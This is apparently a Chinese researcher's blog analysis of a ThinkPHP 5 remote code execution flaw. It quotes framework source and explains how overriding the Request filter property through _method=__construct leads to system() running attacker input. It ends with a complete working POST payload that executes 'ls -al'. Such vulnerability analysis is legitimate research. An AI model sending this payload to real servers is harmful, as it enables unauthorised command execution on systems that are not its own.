一天的时间,终于看见了一篇关于这个刚爆出来的洞的分析 ,都认为比较鸡肋吧?
启明星ADLab https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ
我感觉讲了一个大概,大篇幅的代码的粘贴赋值,有人说这是个鸡肋的洞,我当时第一时间看见,需要开debug,我也以为是个鸡肋,发现并不是,当然智者见智了。
其实这个洞很简单流程,Request
基类 中的method
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function method($method = false) { if (true === $method) { return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }
|
官方对应method的修复方法我用注释括起来了。
1 2
| $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST);
|
关键的两句,$this->method
直接从$_POST里面拿出来的,显然可以有机会通过第二句执行Request类里面的一个方法,POC用的是Request
构造函数__construct
1 2 3 4 5
| foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } }
|
里面存在的一个类中属性覆盖。属性覆盖可以影响的是$filter 为全局过滤函数。在从Request 取值的时候都会用到这个全局的过滤函数,具体在 Request::input()
中。例如 在Request::param
, Request::get
,Request::post
.... 都会用到。
很简单我们需要做的是 执行method
这个方法,再执行input
方法。
执行method
其实在入口文件检查的路由的时候已经执行了。执行流程如下
1
| App::run -> App::routeCheck() -> Route::check() -> $method = strtolower($request->method());
|
第一步完成了,至于为什么说要开debug,我感觉是一个通用的poc。只需要开启的debug,不用其他操作。整个框架下载下来就能触发。至于触发点并不是前面启明星辰AdLab分析中的那个触发点,很早就触发了。往下看
App::run()
中
1 2 3 4 5
| if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
|
这个点已经触发了。因为开了debug
再说为什么还是有点鸡肋呢, 即使在后面的默认的index/index/index
中 加了
1
| Request::instance()->param();
|
却也不触发呢,按常理来说应该是会触发的,但是并没有触发。经过分析发现filter 这个包含全局过滤函数的数组竟然被覆盖了。
在App::exec()
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| switch ($dispatch['type']) { case 'redirect': $data = Response::create($dispatch['url'], 'redirect') ->code($dispatch['status']); break; case 'module': $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; case 'controller': $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break; case 'method': $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break; case 'function': $data = self::invokeFunction($dispatch['function']); break; case 'response': $data = $dispatch['response']; break; default: throw new \InvalidArgumentException('dispatch type not support'); }
|
用的是兼容模式的URL ?s=index/index/index
, 这里会进入 case 'module'
App::module
中
1
| $request->filter($config['default_filter']);
|
这里filter
被覆盖了。找到问题以后 添加一行Request::instance()->param();
应该能成功执行了吧,发现不然。还是不行。
原POC 为 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
其实这个有问题,再看method 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function method($method = false) { if (true === $method) { return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }
|
!$method == true
时才会执行属性覆盖。在第一次 路由检查的时候 当执行完method 方法以后 $this->method 也进行了变量覆盖,为get。所以这里请求时method
应该设置为空。完成这一步其实还是不够的。还是发现执行不了命令。
这一次问题出在了 Request::instance()->param();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if (empty($this->mergeParam)) { $method = $this->method(true); switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; }
|
this->mergeParam
为空时才会进入if
进入 $method = $this->method(true);
这一步是为什么 server[REQUEST_METHOD]=ls -al
的原因。
1 2 3 4 5 6 7 8
| Request.php:661, think\Request->param() App.php:396, think\App::bindParams() App.php:360, think\App::invokeMethod() App.php:632, think\App::module() App.php:477, think\App::exec() App.php:160, think\App::run() start.php:19, require() index.php:17, {main}()
|
在App::bindParams
中 已经执行过了Request::param
方法 将mergeParam
置为true
了。所以这里必须在请求时传一个mergeParam
为空
完整的pOC 为:
1
| _method=__construct&filter[]=system&method=&server[REQUEST_METHOD]=ls -al&mergeParam=
|
说到这里终究是因为在App::module
中将filter
又被覆盖了,所以显的比较鸡肋。我在寻找能否再找一个method 方法执行比较好的时间点,发现在文件日志驱动有一个,而且不错的一个链子这里我就不公布了。因为我还有用。
其实这个洞并不鸡肋,还是那句话智者见智。寒假挖洞生活 正式开始! 愿明年开春能找到一个好的工作!!
永远不说放弃,努力再努力,终会如愿以偿!